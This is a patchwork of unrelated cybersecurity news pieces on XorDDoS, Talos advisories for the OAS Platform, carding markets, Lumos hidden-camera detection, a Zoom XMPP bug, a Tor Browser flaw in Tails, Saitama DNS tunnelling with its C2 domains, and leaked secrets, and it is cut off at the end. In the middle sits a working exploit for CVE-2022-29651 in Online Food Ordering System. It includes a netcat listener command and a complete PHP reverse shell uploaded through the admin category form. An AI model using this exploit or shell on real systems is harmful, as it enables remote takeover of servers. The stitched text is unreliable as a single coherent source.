Malware attacks against Linux systems are on the rise. And when it comes to bot malware, XorDDoS is the frontrunner.
The post Massive increase in XorDDoS Linux malware in last six months appeared first on Malwarebytes Labs.

Microsoft says it’s recorded a massive increase in XorDDoS activity (254 percent) in the last six months. XorDDoS, a Linux Trojan known for its modularity and stealth, was first discovered in 2014 by the white hat research group, MalwareMustDie (MMD).

MMD believed the Linux Trojan originated in China. Based on a case study in 2015, Akamai strengthened the theory that the malware may be of Asian origin based on its targets.

Microsoft said that XorDDoS continues to home on Linux-based systems, demonstrating a significant pivot in malware targets. Since Linux is deployed on many IoT (Internet of Things) devices and cloud infrastructures, we are likely to see DDoS (distributed denial-of-system) attacks from botnets that have compromised such devices.

DDoS attacks—where normal Internet traffic to a targeted server, service, or network is overwhelmed with a flood of extra traffic from compromised machines—have become part of a greater attack scheme. Such powerful attacks are no longer conducted just to disrupt. DDoS attacks have become instrumental in successfully distracting organizations and security experts from figuring out threat actors’ end goal: Malware deployment or system infiltration. XorDDoS, in particular, has been used to compromise devices using Secure Shell (SSH) brute force attacks.

XorDDoS is as sophisticated as it gets. The only simple (yet effective) tactic it uses is to brute force its way to gain root access to various Linux architectures.

As Microsoft said in the report:

> “Adept at stealing sensitive data, installing a rootkit device, using various evasion and persistence mechanisms, and performing DDoS attacks, XorDdos enables adversaries to create potentially significant disruptions on target systems. Moreover, XorDdos may be used to bring in other dangerous threats or to provide a vector for follow-on activities.”

XorDDos’s attack vector (Source: Microsoft)

**Security IoT devices**

If you have an IoT device at home, know there are ways to secure it. Note that you may need some assistance from the company who built your IoT device if you’re unfamiliar or unsure how to do any of the below.

*   Change your device’s default password to a strong one
*   Limit the number of IP addresses your IoT device connects to
*   Enable over-the-air (OTA) software updates
*   Use a network firewall
*   Use DNS filtering
*   Consider setting up a separate network for your IoT device(s)
*   When you’re not using your IoT device, turn it off.

If you plan to get an IoT device soon, buy from a well-known brand. You’re much more likely to get assistance from your supplier in beefing up your IoT device’s security.

Stay safe!

Massive increase in XorDDoS Linux malware in last six months

Jared Rittle of Cisco Talos discovered these vulnerabilities. Blog by Jon Munshaw. 
Cisco Talos recently discovered eight vulnerabilities in the Open Automation Software Platform that could allow an adversary to carry out a variety of malicious actions, including improperly authenticating into...


[[ This is only the beginning! Please visit the blog for the complete entry ]]

_Jared Rittle of Cisco Talos discovered these vulnerabilities. Blog by Jon Munshaw._ 

Cisco Talos recently discovered eight vulnerabilities in the Open Automation Software Platform that could allow an adversary to carry out a variety of malicious actions, including improperly authenticating into the targeted device and causing a denial of service. 

The OAS Platform facilitates the simplified data transfer between various proprietary devices and applications, including software and hardware. 

The most serious of these issues is TALOS-2022-1493 (CVE-2022-26082), which an attacker could exploit to gain the ability to execute arbitrary code on the targeted machine. This issue has a severity score of 9.1 out of a possible 10. Another vulnerability, TALOS-2022-1513 (CVE-2022-26833) has a 9.4 severity score and could lead to the unauthenticated use of the REST API. 

There are two other vulnerabilities, TALOS-2022-1494 (CVE-2022-27169) and TALOS-2022-1492 (CVE-2022-26067) could allow an attacker to obtain a directory listing at any location permissible by the underlying user by sending a specific network request. 

Another information disclosure vulnerability TALOS-2022-1490 (CVE-2022-26077) works in the same way, but alternatively provides the attacker with a list of usernames and passwords for the platform that could be used in future attacks. 

TALOS-2022-1491 (CVE-2022-26026) can also be triggered by a specially crafted network request, but instead leads to a denial of service and a loss of communication. 

The other two vulnerabilities could allow an attacker to make external configuration changes, including creating a new security group on the Platform and creating new user accounts arbitrarily: TALOS-2022-1488 (CVE-2022-26303) and TALOS-2022-1489 (CVE-2022-26043). 

Cisco Talos worked with Open Automation Software to ensure that these issues are resolved and an update is available for affected customers, all in adherence to Cisco’s vulnerability disclosure policy. Additionally, affected users could mitigate these issues by ensuring that proper network segmentation is in place so adversaries have the lowest possible level of access to the network on which the OAS Platform communicates. 

Users are encouraged to update these affected products as soon as possible: Open Automation Software OAS Platform, version 16.00.0112. Talos tested and confirmed this driver could be exploited by these vulnerabilities. 

The following SNORTⓇ rules will detect exploitation attempts against this vulnerability: 59275 – 59279, 59732. Additional rules may be released in the future and current rules are subject to change, pending additional vulnerability information. For the most current rule information, please refer to your Cisco Secure Firewall Management Center or Snort.org.

Vulnerability Spotlight: Vulnerabilities in Open Automation Software Platform could lead to information disclosure, denial of service 

Illicit trade still flourishing despite recent law enforcement takedowns

Illicit trade still flourishing despite recent law enforcement takedowns

Markets that trade in stolen credit card details have been a staple of the underground scene for years but recent cybercrime busts – along with sanctions stemming from the war in Ukraine – are putting the squeeze on cybercriminals.

Carding shops offer a platform to buy and sell stolen card data, which is often sourced directly from breaches or malware-infected point-of-sale (POS) terminals, as well as from skimming devices attached to POS terminals and ATMs.

Recent law enforcement busts had led to a wave of card shop closures. For example, the at the time largest illicit marketplace for stolen payment card data, Joker’s Stash, closed in February 2021.

In early February this year, Russian law enforcement agencies also seized four major card shops – Trump's Dumps, FERum, SkyFraud, and Ultimate Anonymity Services (UAS).

**Follow the money**

An analysis by Blueliv into the state of underground card shops focused on Brian’s Club and Rescator as currently active shops, comparing them with two inactive shops, FERum and All World Cards. Rescator used to be one of the biggest card shops until 2019, when it went offline and encountered a lengthy hiatus before unexpectedly returning in mid-2021.

“Rescator’s case demonstrates how this landscape can be highly volatile and that inactive card shops are not always permanently gone,” a blog post on by Blueliv, the threat intel division of security vendor Outpost24, notes.

Blueliv concludes that the underground carding market remains febrile.

“The card shop ecosystem is deeply impacted by different actors, events, historical moments, the adoption of security policies, and other factors,” Blueliv said. “Law enforcement agencies have a huge impact on the landscape, but personal reasons might lead criminals to withdraw from the carding scene.”

Blueliv’s research was presented at the recent Botconf 2022 conference in Nantes.

**Eastern front**

Geo-political factors as well as the security policy of e-commerce providers can impact the availability of products for illicit shops, which also impacts the overall landscape.

For example, more countries adopt security chips instead of magnetic stripes in their payment systems, meaning that magnetic strip card data dumps have less utility. Data dumps containing card info plus CVV values however have greater utility because they enable online fraud.

Chris Morgan, senior cyber threat intelligence analyst at Digital Shadows, told The Daily Swig that sanctions against Russia following its invasion of Ukraine in February have impeded the ability of cybercriminals to realize the profits from their illegal activity.

“The ongoing conflict between Russia and Ukraine has resulted in some of the most significant economic sanctions in history being directed against Russia,” Morgan explained.

“This has also coincided with numerous providers shutting down their operations in Russia; Russian users looking to cash out through certain gift cards – for example Amazon or Paypal – may find this more difficult as such services are no longer available in their country of origin.”

Read more of the latest news about cybercrime

Recent changes have made it harder for entry-level cybercriminals to start making money, according to Morgan.

“Due to increasing sophistication of controls and user awareness, carding often requires a greater level of skills,” Morgan explained.

“A user will be required to steal the initial credentials – potentially by using skimmer on point of sale (POS) machines – parse logs from the affected machines for carding info, set up accounts on the relevant criminal marketplaces, and potentially also assist buyers with money laundering services.”

Morgan added: “Often, this necessitates several individuals working as a team, rather than one person who is capable of completing the entire carding attack on their own. This makes entry into the carding space more difficult for amateur cybercriminals who do not have those initial connections in the carding space.”

YOU MAY ALSO LIKE Ransomware scourge increases global data breach woes

Volatile market for stolen credit card data shaken up by sanctions against Russia




A group of academics has devised a system that can be used on a phone or a laptop to identify and locate Wi-Fi-connected hidden IoT devices in unfamiliar physical spaces.
With hidden cameras being increasingly used to snoop on individuals in hotel rooms and Airbnbs, the goal is to be able to pinpoint such rogue devices without much of a hassle.
The system, dubbed Lumos, is designed with this

A group of academics has devised a system that can be used on a phone or a laptop to identify and locate Wi-Fi-connected hidden IoT devices in unfamiliar physical spaces.

With hidden cameras being increasingly used to snoop on individuals in hotel rooms and Airbnbs, the goal is to be able to pinpoint such rogue devices without much of a hassle.

The system, dubbed **Lumos**, is designed with this intent in mind and to "visualize their presence using an augmented reality interface," said Rahul Anand Sharma, Elahe Soltanaghaei, Anthony Rowe, and Vyas Sekar of Carnegie Mellon University in a new paper.

At its core, the platform works by snuffing and collecting encrypted wireless packets over the air to detect and identify concealed devices. Subsequently, it estimates the location of each identified device with respect to the user as they walk around the perimeter of the space.

The localization module, for its part, combines signal strength measurements that are available in 802.11 packets (aka Received Signal Strength Indicator or RSSI) with relative user position determined by visual inertial odometry (VIO) information on mobile phones.

On Apple's iOS devices, for instance, the positional tracking is achieved by means of ARKit, a developer API that makes it possible to build augmented reality experiences by taking advantage of the phone's camera, CPU, GPU, and motion sensors.

"As the user walks closer to each device, the RSSI values corresponding to those data points increase and then reduce as she walks away from the device," the researchers said. "Lumos leverages the spatial measurements of RSSI values and their variations to estimate the location of each device."

What's more, Lumos can localize IoT devices irrespective of the user's walking speed. Also incorporated is a fingerprinting module that analyzes the captured 802.11 traffic patterns using a machine learning model to identify the devices based on the MAC addresses.

The research evaluated Lumos across 44 different IoT devices spanning various types, models, and brands across six different environments, finding that it can identify hidden devices with 95% accuracy and locate them with a median error of 1.5m within 30 minutes in a two-bedroom, 1000 sq.ft. apartment.

That said, an advanced attacker can leverage techniques like MAC address randomization to evade detection and sidestep localization by arbitrarily modifying the devices' transmit power.

"Lumos can potentially generalize across different device brands and models, as long as it has seen at least one device with similar behavior in the training phase," the researchers said, pointing to how the system can even identify unprofiled devices.

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

Lumos System Can Find Hidden Cameras and IoT Devices in Your Airbnb or Hotel Room

An arbitrary file upload vulnerability in the Select Image function of Online Food Ordering System v1.0 allows attackers to execute arbitrary code via a crafted PHP file.

\# Online Food Ordering System Unrestricted File Upload + Remote Code Execution \* Exploit Date: 4/18/2022 \* Exploit Author: Nguyen Phu Hung (d4rkp0w4r) # Exploit \* Step => Login to admin -> \`Categoty\` -> \`Add Categoty\` -> \`Upload malicious file\` \* Injection Point => \`Select Image\` !\[\](https://i.imgur.com/LHML1T2.png) \* Use netcat listen web shell \`\`\`python= nc.exe -vv -l -p 9999 \`\`\` \* Log out admin page or stayed, web shell direct connected !!! !\[\](https://i.imgur.com/Kkz3kQc.png) # POC \* Request \`\`\`python= POST /online-food-order/admin/add-category.php HTTP/1.1 Host: 192.168.1.101:8888 Content-Length: 9853 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.1.101:8888 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydqHz7jzGYIN0VWy4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.1.101:8888/online-food-order/admin/add-category.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: \_lang=en; PHPSESSID=hpgbm1opdd0qcqb5f73jvpr4ia Connection: close ------WebKitFormBoundarydqHz7jzGYIN0VWy4 Content-Disposition: form-data; name="title" Hacked ------WebKitFormBoundarydqHz7jzGYIN0VWy4 Content-Disposition: form-data; name="image"; filename="nc.php" Content-Type: application/octet-stream <?php class Shell { private $addr = null; private $port = null; private $os = null; private $shell = null; private $descriptorspec = array( 0 => array('pipe', 'r'), // shell can read from STDIN 1 => array('pipe', 'w'), // shell can write to STDOUT 2 => array('pipe', 'w') // shell can write to STDERR ); private $buffer = 1024; // read/write buffer size private $clen = 0; // command length private $error = false; // stream read/write error public function \_\_construct($addr, $port) { $this->addr = $addr; $this->port = $port; } private function detect() { $detected = true; if (stripos(PHP\_OS, 'LINUX') !== false) { // same for macOS $this->os = 'LINUX'; $this->shell = '/bin/sh'; } else if (stripos(PHP\_OS, 'WIN32') !== false || stripos(PHP\_OS, 'WINNT') !== false || stripos(PHP\_OS, 'WINDOWS') !== false) { $this->os = 'WINDOWS'; $this->shell = 'cmd.exe'; } else { $detected = false; echo "SYS\_ERROR: Underlying operating system is not supported, script will now exit...\\n"; } return $detected; } private function daemonize() { $exit = false; if (!function\_exists('pcntl\_fork')) { echo "DAEMONIZE: pcntl\_fork() does not exists, moving on...\\n"; } else if (($pid = @pcntl\_fork()) < 0) { echo "DAEMONIZE: Cannot fork off the parent process, moving on...\\n"; } else if ($pid > 0) { $exit = true; echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\\n"; } else if (posix\_setsid() < 0) { // once daemonized you will actually no longer see the script's dump echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\\n"; } else { echo "DAEMONIZE: Completed successfully!\\n"; } return $exit; } private function settings() { @error\_reporting(0); @set\_time\_limit(0); // do not impose the script execution time limit @umask(0); // set the file/directory permissions - 666 for files and 777 for directories } private function dump($data) { $data = str\_replace('<', '&lt;', $data); $data = str\_replace('>', '&gt;', $data); echo $data; } private function read($stream, $name, $buffer) { if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream $this->error = true; // set global error flag echo "STRM\_ERROR: Cannot read from ${name}, script will now exit...\\n"; } return $data; } private function write($stream, $name, $data) { if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream $this->error = true; // set global error flag echo "STRM\_ERROR: Cannot write to ${name}, script will now exit...\\n"; } return $bytes; } // read/write method for non-blocking streams private function rw($input, $output, $iname, $oname) { while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) { if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length $this->dump($data); // script's dump } } // read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS) // we must read the exact byte length from a stream and not a single byte more private function brw($input, $output, $iname, $oname) { $fstat = fstat($input); $size = $fstat\['size'\]; if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) { // for some reason Windows OS pipes STDIN into STDOUT // we do not like that // we need to discard the data from the stream while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) { $this->clen -= $bytes; $size -= $bytes; } } while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) { $size -= $bytes; $this->dump($data); // script's dump } } public function run() { if ($this->detect() && !$this->daemonize()) { $this->settings(); // ----- SOCKET BEGIN ----- $socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30); if (!$socket) { echo "SOC\_ERROR: {$errno}: {$errstr}\\n"; } else { stream\_set\_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS // ----- SHELL BEGIN ----- $process = @proc\_open($this->shell, $this->descriptorspec, $pipes, null, null); if (!$process) { echo "PROC\_ERROR: Cannot start the shell\\n"; } else { foreach ($pipes as $pipe) { stream\_set\_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS } // ----- WORK BEGIN ----- $status = proc\_get\_status($process); @fwrite($socket, "SOCKET: Shell has connected! PID: " . $status\['pid'\] . "\\n"); do { $status = proc\_get\_status($process); if (feof($socket)) { // check for end-of-file on SOCKET echo "SOC\_ERROR: Shell connection has been terminated\\n"; break; } else if (feof($pipes\[1\]) || !$status\['running'\]) { // check for end-of-file on STDOUT or if process is still running echo "PROC\_ERROR: Shell process has been terminated\\n"; break; // feof() does not work with blocking streams } // use proc\_get\_status() instead $streams = array( 'read' => array($socket, $pipes\[1\], $pipes\[2\]), // SOCKET | STDOUT | STDERR 'write' => null, 'except' => null ); $num\_changed\_streams = @stream\_select($streams\['read'\], $streams\['write'\], $streams\['except'\], 0); // wait for stream changes | will not wait on Windows OS if ($num\_changed\_streams === false) { echo "STRM\_ERROR: stream\_select() failed\\n"; break; } else if ($num\_changed\_streams > 0) { if ($this->os === 'LINUX') { if (in\_array($socket , $streams\['read'\])) { $this->rw($socket , $pipes\[0\], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN if (in\_array($pipes\[2\], $streams\['read'\])) { $this->rw($pipes\[2\], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET if (in\_array($pipes\[1\], $streams\['read'\])) { $this->rw($pipes\[1\], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET } else if ($this->os === 'WINDOWS') { // order is important if (in\_array($socket, $streams\['read'\])/\*------\*/) { $this->rw ($socket , $pipes\[0\], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN if (($fstat = fstat($pipes\[2\])) && $fstat\['size'\]) { $this->brw($pipes\[2\], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET if (($fstat = fstat($pipes\[1\])) && $fstat\['size'\]) { $this->brw($pipes\[1\], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET } } } while (!$this->error); // ------ WORK END ------ foreach ($pipes as $pipe) { fclose($pipe); } proc\_close($process); } // ------ SHELL END ------ fclose($socket); } // ------ SOCKET END ------ } } } echo '<pre>'; // change the host address and/or port number as necessary $sh = new Shell('192.168.1.101', 9999); $sh->run(); unset($sh); // garbage collector requires PHP v5.3.0 or greater // @gc\_collect\_cycles(); echo '</pre>'; ?> ------WebKitFormBoundarydqHz7jzGYIN0VWy4 Content-Disposition: form-data; name="featured" Yes ------WebKitFormBoundarydqHz7jzGYIN0VWy4 Content-Disposition: form-data; name="active" Yes ------WebKitFormBoundarydqHz7jzGYIN0VWy4 Content-Disposition: form-data; name="submit" Add Category ------WebKitFormBoundarydqHz7jzGYIN0VWy4-- \`\`\`

CVE-2022-29651: Online Food Ordering System Unrestricted File Upload + Remote Code Execution - HackMD

The Google Project Zero researcher found a bug in XML parsing on the Zoom client and server.

The Google Project Zero researcher found a bug in XML parsing on the Zoom client and server.

Zoom patched a medium-severity flaw, advising Windows, macOS, iOS and Android users to update their client software to version 5.10.0.

The Google Project Zero security researcher Ivan Fratric noted in a report that an attacker can exploit a victim’s machine over a zoom chat. The bug, tracked as CVE-2022-22787, has a CVSS severity rating of 5.9.

“User interaction is not required for a successful attack. The only ability an attacker needs is to be able to send messages to the victim over Zoom chat over XMPP protocol,” Ivan explained.

So called zero-click attacks do not require users take any action and are especially potent given even the most tech-savvy of users can fall prey to them.

XMPP stands for Extensible Messaging Presence Protocol and is used to send XML elements called stanzas over a stream connection to exchange messages and presence information in real-time. This messaging protocol is used by Zoom for its chat functionality.

In a security bulletin published by Zoom, the CVE-2022-22786 (CVSS score 7.5) affects the Windows users, while the other CVE-2022-22784, CVE-2022-22785, and CVE-2022-22787 impacted Zoom client versions before 5.10.0 running on Android, iOS, Linux, macOS, and Windows systems.

****Working of Bug**  **

The initial vulnerability described by Ivan as  “XMPP stanza smuggling” abuses the parsing inconsistencies between XML parser in Zoom client and server software to “smuggle” arbitrary XMPP stanzas to the victim machine.

An attacker sending a specially crafted control stanza can force the victim client to connect with a malicious server thus leading to a variety of attacks from spoofing messages to sending control messages.

Ivan noted that “the most impactful vector” in XMPP stanza smuggling vulnerability is an exploit of “ClusterSwitch task in the Zoom client, with an attacker-controlled “web domain” as a parameter”.

Zoom Patches ‘Zero-Click’ RCE Bug

Critical vulnerability has been fixed upstream, but Tails dev team ‘doesn’t have the capacity to publish an emergency release earlier’

Critical vulnerability has been fixed upstream, but Tails dev team ‘doesn’t have the capacity to publish an emergency release earlier’

  

Tails is warning users to stop using Tor Browser that comes bundled with the privacy-focused operating system (OS), after the discovery of a prototype pollution vulnerability.

Tor Browser is a modification of the open source Firefox web browser, which is where the critical vulnerability, tracked as CVE-2022-1802, was found.

The bug could enable an attacker to corrupt the methods of an Array object in JavaScript via prototype pollution, potentially achieving the execution of attacker-controlled JavaScript code in a privileged context.

A second bug, tracked as CVE-2022-1529, could allow an attacker to send a message to the parent process where the contents could be used to double-index into a JavaScript object, leading to prototype pollution and ultimately allowing attacker-controlled JavaScript executing in the privileged parent process.

**Knock-on impact**

The developers of Tails, a security-focused Debian-based Linux distribution used for security and anonymity, warned users not to fire up Tor Browser while handling any sensitive information as the vulnerability may break any protections it provides.

This is at least until version 5.1 of Tails, expected on May 31, is released.

A security advisory from Tails reads: “This vulnerability allows a malicious website to bypass some of the security built in Tor Browser and access information from other websites.

“For example, after you visit a malicious website, an attacker controlling this website might access the password or other sensitive information that you send to other websites afterwards during the same Tails session.”

DON’T MISS Prototype pollution: The dangerous and underrated vulnerability impacting JavaScript applications

The vulnerability does not break the anonymity and encryption of Tor connections, meaning that it is still safe and anonymous to access websites from Tails if you don’t share sensitive information with them.

Other applications in Tails are not vulnerable because JavaScript is disabled. The Safest security level of Tor Browser is also not affected because JavaScript is disabled at this security level.

**Fixes incoming**

Tails version 5.0 comes bundled with Tor Browser 11.0.11, which contains the prototype pollution bug.

As users await Tails 5.1, which will inherit the Tor Browser 11.0.13 security update, they could use the standalone, and fully updated, version of the browser on Mac, Windows, or Linux.

“This vulnerability will be fixed in Tails 5.1 (May 31), but our team doesn't have the capacity to publish an emergency release earlier,” the Tails team said.

A Mozilla security advisory contains more information about the security issues, which were reported by researcher Manfred Paul.

It also contains details on fixes for Firefox, Firefox ESR, Firefox for Android, Thunderbird to protect against the vulnerabilities.

YOU MAY ALSO LIKE Malicious Python library CTX removed from PyPI repo

Tails users warned not to launch bundled Tor Browser until security fix is released

A walkthrough of one of the stealthy communication techniques employed in a recent attack using APT34's Saitama backdoor. 
The post How the Saitama backdoor uses DNS tunnelling appeared first on Malwarebytes Labs.

_Thanks to the Malwarebytes Threat Intelligence Team for the information they provided for this article._

Understandably, a lot of cybersecurity research and commentary focuses on the act of breaking into computers undetected. But threat actors are often just as concerned with the act of breaking _out_ of computers undetected too.

Malware with the intent of surveillance or espionage needs to operate undetected, but the chances are it also needs to exfiltrate data or exchange messages with its command and control infrastructure, both of which could reveal its presence to threat hunters.

One of the stealthy communication techniques employed by malware trying to avoid detection is DNS Tunnelling, which hides messages inside ordinary-looking DNS requests.

The Malwarebytes Threat Intelligence team recently published research about an attack on the Jordanian government by the Iranian Advanced Persistent Threat (APT) group APT34 that used its own innovative version of this method.

The payload in the attack was a backdoor called Saitama, a finite state machine that used DNS to communicate. Our original article provides an educational deep dive into the operation of Saitama and is well worth a read.

Here we will expand on the tricks that Saitama used to keep its DNS tunelling hidden.

**Saitama’s DNS tunnelling**

DNS is the Internet’s “address book” that allows computers to lookup human-readable domain names, like malwarebytes.com, and find their IP addresses, like 54.192.137.126.

DNS information isn’t held in a single database. Instead it’s distributed, and each domain has name servers that are responsible for answering questions about them. Threat actors can use DNS to communicate by having their malware make DNS lookups that are answered by name servers they control.

DNS is so important it’s almost never blocked by corporate firewalls, and the enormous volume of DNS traffic on corporate networks provides plenty of cover for malicious communication.

Saitama’s messages are shaped by two important concerns: DNS traffic is still largely unencrypted, so messages have to be obscured so their purpose isn’t obvious; and DNS records are often cached heavily, so identical messages have to look different to reach the APT-controlled name servers.

**Saitama’s messages**

In the attack on the Jordanian foreign ministry, Saitama’s domain lookups used the following syntax:

domain = **message**, **counter** '.' **root domain**

The root domain is always one of uber-asia.com, asiaworldremit.com or joexpediagroup.com, which are used interchangeably.

The sub-domain portion of each lookup consists of a message followed by a counter. The counter is used to encode the message, and is sent to the command and control (C2) server with each lookup so the C2 can decode the message.

Four types of message can be sent:

**1\. Make contact**

The first time it is executed, Saitama starts its counter by choosing a random number between 0 and 46655. In this example our randomly-generated counter is 7805.

The DNS lookup derived from that counter is:

**nbn4vxanrj.joexpediagroup.com**

The counter itself is encoded using a hard-coded base36 alphabet that is shared by the name server. In base36 each digit is represented by one of the 36 characters 0-9 and A-Z. In the standard base36, alphabet 7805 is written 60t (6 x 1296 + 0 x 36 + 30 x 1). However, in Saitama’s custom alphabet 7805 is **nrj**.

The counter is also used to generate a custom alphabet that will be used to encode the message using a simple substitution. The first message sent home is the command 0, base36-encoded to a, which tells the server it has a new victim, prepended to the string haruto, making aharuto.

A simple substitution using the alphabet generated by the counter yields the message **nbn4vxa**.

**a** b c d e f g **h** i j k l m n **o** p q **r** s **t u** v w x y z 0 1 2 3 4 5 6 7 8 9
↓             ↓             ↓     ↓   ↓ ↓             
**n** j 1 6 9 k p **b** h d 0 7 y i **a** 2 g **4** u **x** **v** 3 e s w f 5 8 r o c q t l z m

The C2 name server decodes the counter using the shared, hard-coded alphabet, and then uses the counter to derive the alphabet used to encode aharuto.

It responds to the contact request with an IP address that contains an ID for Saitama to use in future communications. The first three octets can be anything, and Saitama ignores them. The final octet contains the ID. In our example we will use the ID 203:

75.99.87.**203**

**2\. Ask for a command**

Now that it has an ID from the C2 server, Saitama increments its counter to 7806 and signals its readiness to receive a command as follows: The counter is used to generate a new custom alaphabet, which encodes the ID, 203, as **ao**. The counter itself is encoded using the malware’s hard-coded base36 alphabet, to **nrc**, and one of Saitama’s three root domains is chosen at random, resulting in:

**aonrc.uber-asia.com**

The C2 server responds to the request with the size of the payload Saitama should expect. Saitama will use this to determine how many requests it will need to make to retrieve the full payload.

The first octet of the IP address the C2 responds with is any number between 129 and 255, while the second, third and fourth octets signify the first, second, and third bytes of the size of the payload. In this case the payload will be four bytes.

129.**0**.**0**.**4**

**3\. Get a command**

Now that it knows the size of the payload it will receive, Saitama makes one or more RECEIVE requests to the server to get its instructions. It increments its counter by one each time, starting at 7807. Multiple requests may be necessary in this step because some command names require more than the four bytes of information an IP address can carry. In this case it has been told to retrieve four bytes of information so it will only need to make one request.

The message from Saitama consists of three parts: The digit 2, indicating the RECEIVE command; the ID 203; and an offset indicating which part of the payload is required. These are individually base36-encoded and concatenated together. The resulting string is encoded using a custom base36 alphabet derived from the counter 7807, giving us the message **k7myyy**.

The counter is encoded using the hard-coded alphabet to **nr6**, and one of Saitama’s three root domains is chosen at random, giving us:

**k7myyynr6.asiaworldremit.com**

The C2 indicates which function it wants to run using two-digit integers. It can ask Saitama to run any of five different functions:

C2

Saitama

43

Static

70

Cmd

71

CompressedCmd

95

File

96

CompressedFile

Saitama functions

In this case the C2 wants to run the command ver using Saitama’s Cmd function. (In the previous request the C2 indicated that it would be sending Saitama a four byte payload: One byte for 70, and three bytes for ver.)

In its response, the C2 uses the first octet of the IP address to indicate the function it wants to run, 70, and then the remaining three octets to spell out the command name ver using the ASCII codepoints for the lowercase characters “v”, “e”, and “r”:

**70**.**118**.**101**.**114**

**4\. Run the command**

Saitama runs the command it has been given and sends the resulting output to the C2 server in one or more DNS requests. The counter is incremented by one each time, starting at 7808 in our example. Multiple requests may be necessary in this step because some command names require more than the four bytes an IP address can carry.

**p6yqqqqp0b67gcj5c2r3gn3l9epztnrb.asiaworldremit.com**

The counter is encoded using the hard-coded alphabet to **nrb**, and one of Saitama’s three root domains is chosen at random.

In this case the message consists of five parts: The digit 2, indicating the RECEIVE command; the ID 203; and an offset indicating which part of the response is being sent; the size of the buffer; and a twelve-byte chunk of the output. These are individually base36-encoded and concatenated together. The resulting string is encoded using a custom base36 alphabet derived from the counter 7808, giving us the message **p6yqqqqp0b67gcj5c2r3gn3l9epzt**.

**Detection**

Malwarebytes customers are protected from this attack via our Anti-Exploit layer. To learn more about the recent attack involving Saitama, read APT34 targets Jordan Government using new Saitama backdoor.

**IOCs******Maldoc****

Confirmation Receive Document.xls  
26884f872f4fae13da21fa2a24c24e963ee1eb66da47e270246d6d9dc7204c2b

**Saitama backdoor**

update.exe  
e0872958b8d3824089e5e1cfab03d9d98d22b9bcb294463818d721380075a52d

**C2s**

uber-asia.com  
asiaworldremit.com  
joexpediagroup.com

How the Saitama backdoor uses DNS tunnelling

If one word could sum up the 2021 infosecurity year (well, actually three), it would be these: "supply chain attack". 
A software supply chain attack happens when hackers manipulate the code in third-party software components to compromise the 'downstream' applications that use them. In 2021, we have seen a dramatic rise in such attacks: high profile security incidents like the SolarWinds,

If one word could sum up the 2021 infosecurity year (well, actually three), it would be these: "supply chain attack".

A software supply chain attack happens when hackers manipulate the code in third-party software components to compromise the 'downstream' applications that use them. In 2021, we have seen a dramatic rise in such attacks: high profile security incidents like the SolarWinds, Kaseya, and Codecov data breaches have shaken enterprise's confidence in the security practices of third-party service providers.

What does this have to do with secrets, you might ask? In short, a lot. Take the Codecov case (we'll go back to it quickly): it is a textbook example to illustrate how hackers leverage hardcoded credentials to gain initial access into their victims' systems and harvest more secrets down the chain.

Secrets-in-code remains one of the most overlooked vulnerabilities in the application security space, despite being a priority target in hackers' playbooks. In this article, we will talk about secrets and how keeping them out of source code is today's number one priority to secure the software development lifecycle.

**What is a secret?**

Secrets are digital authentication credentials (API keys, certificates, tokens, etc.) that are used in applications, services or infrastructures. Much like a password (plus a device in case of 2FA) is used to authenticate a person, a secret authenticates systems to enable interoperability. But there is a catch: unlike passwords, secrets are meant to be distributed.

To continually deliver new features, software engineering teams need to interconnect more and more building blocks. Organizations are watching the number of credentials in use across multiple teams (development squad, SRE, DevOps, security etc.) explode. Sometimes developers will keep keys in an insecure location to make it easier to change the code, but doing so often results in the information mistakenly being forgotten and inadvertently published.

In the application security landscape, hardcoded secrets are really a different type of vulnerability. First, since source code is a very leaky asset, meant to be cloned, checked out, and forked on multiple machines very frequently, secrets are leaky too. But, more worryingly, let's not forget that code also has a memory.

Any codebase is managed with some kind of version control system (VCS), keeping a historical timeline of all the modifications ever made to it, sometimes over decades. The problem is that still-valid secrets can be hiding anywhere on this timeline, opening a new dimension to the attack surface. Unfortunately, most security analyses are only done on the current, ready-to-be-deployed, state of a codebase. In other words, when it comes to credentials living in an old commit or even a never-deployed branch, these tools are totally blind.

**Six million secrets pushed to GitHub**

Last year, monitoring the commits pushed to GitHub in real-time, GitGuardian detected more than 6 million leaked secrets, doubling the number from 2020. On average, 3 commits out of 1,000 contained a credential, which is fifty percent higher than last year.

A large share of those secrets was giving access to corporate resources. No wonder then that an attacker looking to gain a foothold into an enterprise system would first look at its public repositories on GitHub, and then at the ones owned by its employees. Many developers use GitHub for personal projects and can happen to leak by mistake corporate credentials (yes, it happens regularly!).

